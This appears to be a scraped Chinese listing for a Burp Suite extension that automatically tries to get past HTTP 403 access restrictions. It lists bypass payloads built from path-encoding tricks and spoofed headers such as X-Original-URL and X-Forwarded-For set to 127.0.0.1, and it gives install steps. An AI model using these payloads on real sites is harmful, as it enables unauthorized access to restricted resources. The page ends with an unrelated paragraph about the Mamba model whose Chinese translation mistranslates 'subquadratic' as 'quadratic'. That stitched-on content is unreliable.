BurpSuite_403Bypasser - Burpsuite 扩展绕过 403 限制目录
Created at: 2020-11-12 20:49:12
Language: Python
403旁路
绕过 403 受限目录的 burpsuite 扩展。通过使用 PassiveScan（默认启用），这个扩展会自动扫描每个 403 请求，所以只需添加到 burpsuite 并享受。
有效负载：$1：HOSTNAME $2：PATH
$1/$2 $1/%2e/$2 $1/$2/. $1//$2// $1/./$2/./ $1/$2anything -H "X-Original-URL: /$2" $1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1" $1 -H "X-Rewrite-URL: /$2" $1/$2 -H "Referer: /$2" $1/$2 -H "X-Originating-IP: 127.0.0.1" $1/$2 -H "X-Forwarded-For: 127.0.0.1" $1/$2 -H "X-Remote-IP: 127.0.0.1" $1/$2 -H "X-Client-IP: 127.0.0.1" $1/$2 -H "X-Host: 127.0.0.1" $1/$2 -H "X-Forwarded-Host: 127.0.0.1" $1/$2%20/ $1/%20$2%20/ $1/$2? $1/$2??? $1/$2// $1/$2/ $1/$2/.randomstring $1/$2..;/
感谢@lohubi贡献了许多有效载荷。
安装
BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish
截屏
参考：
热门帖子
热门github
1
2
3
5
6
7
8
11
13
14
15
Mamba is a new state space model architecture showing promising performance on information-dense data such as language modeling, where previous subquadratic models fall short of Transformers. It is based on the line of progress on structured state space models, with an efficient hardware-aware design and implementation in the spirit of FlashAttention.
(翻译：Mamba 是一种新的状态空间模型架构，在信息密集型数据（例如语言建模）上显示出良好的性能，而之前的二次模型在 Transformers 方面存在不足。它基于结构化状态空间模型的进展，并本着FlashAttention的精神进行高效的硬件感知设计和实现。)